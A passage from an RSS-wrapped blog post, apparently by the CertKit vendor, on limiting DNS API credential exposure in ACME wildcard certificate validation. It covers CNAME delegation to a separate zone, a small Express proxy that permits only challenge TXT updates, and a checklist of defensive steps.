&lt;span class="err"&gt;├──&lt;/span&gt; &lt;span class="nx"&gt;MX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;mail&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;com&lt;/span&gt;
&lt;span class="err"&gt;└──&lt;/span&gt; &lt;span class="nx"&gt;CNAME&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;_acme&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;challenge&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;_acme&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;acme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;com&lt;/span&gt;

&lt;span class="c1"&gt;// Separate validation zone (expendable)&lt;/span&gt;
&lt;span class="nx"&gt;acme&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;example&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;com&lt;/span&gt;
&lt;span class="err"&gt;└──&lt;/span&gt; &lt;span class="nx"&gt;TXT&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;_acme&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nf"&gt;challenge &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ACME&lt;/span&gt; &lt;span class="nx"&gt;can&lt;/span&gt; &lt;span class="nx"&gt;only&lt;/span&gt; &lt;span class="nx"&gt;touch&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now your ACME client only needs access to &lt;code&gt;acme.example.com&lt;/code&gt;. If it gets compromised, attackers can't touch your actual domain.&lt;/p&gt;

&lt;p&gt;Implementation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# In your main DNS zone, add:&lt;/span&gt;
_acme-challenge.example.com. CNAME _acme-challenge.acme.example.com.

&lt;span class="c"&gt;# Give CertBot credentials only for acme.example.com zone&lt;/span&gt;
&lt;span class="c"&gt;# Your main zone stays protected&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Solution 2: Proxy Your DNS Validation
&lt;/h3&gt;

&lt;p&gt;Build or use a proxy service that only allows TXT record updates for ACME:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Simple DNS validation proxy&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/update-acme-challenge&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="c1"&gt;// CRITICAL: Validate this is only ACME challenges&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startsWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;_acme-challenge.&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Nice try&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sr"&gt;/^&lt;/span&gt;&lt;span class="se"&gt;[&lt;/span&gt;&lt;span class="sr"&gt;a-zA-Z0-9_-&lt;/span&gt;&lt;span class="se"&gt;]{43}&lt;/span&gt;&lt;span class="sr"&gt;$/&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid ACME challenge&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// Only NOW do we use the real DNS credentials&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;updateDNSRecord&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;TXT&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;ttl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="c1"&gt;// Short TTL for challenges&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;OK&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// Your CertBot hooks call this proxy, not DNS directly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Solution 3: Use a Service That Gets It
&lt;/h3&gt;

&lt;p&gt;Some services handle this correctly by design. They proxy DNS validation without ever giving you (or your scripts) full DNS access. You authenticate with them, they handle the DNS dance with limited permissions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.certkit.io/blog/why-we-built-certkit" rel="noopener noreferrer"&gt;We built this into CertKit&lt;/a&gt; because we were tired of seeing companies hand over their DNS keys. But whether you use our service or build your own proxy, the key is: &lt;strong&gt;never give automated processes full DNS access&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What You Should Do Today
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Audit your DNS token permissions&lt;/strong&gt; - What can they really do?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Implement DNS delegation&lt;/strong&gt; - Separate your ACME challenges&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rotate your credentials&lt;/strong&gt; - Assume they're already compromised&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use short-lived tokens&lt;/strong&gt; - If your provider supports it&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor DNS changes&lt;/strong&gt; - Get alerts for any modifications&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Consider alternatives&lt;/strong&gt; - Maybe you don't need wildcards&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The wildcard certificate you set up in 5 minutes? It might be the most dangerous configuration in your entire stack. &lt;/p&gt;

&lt;p&gt;At least now you know.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>dns</category>
      <category>devops</category>
    </item>
  </channel>
</rss>
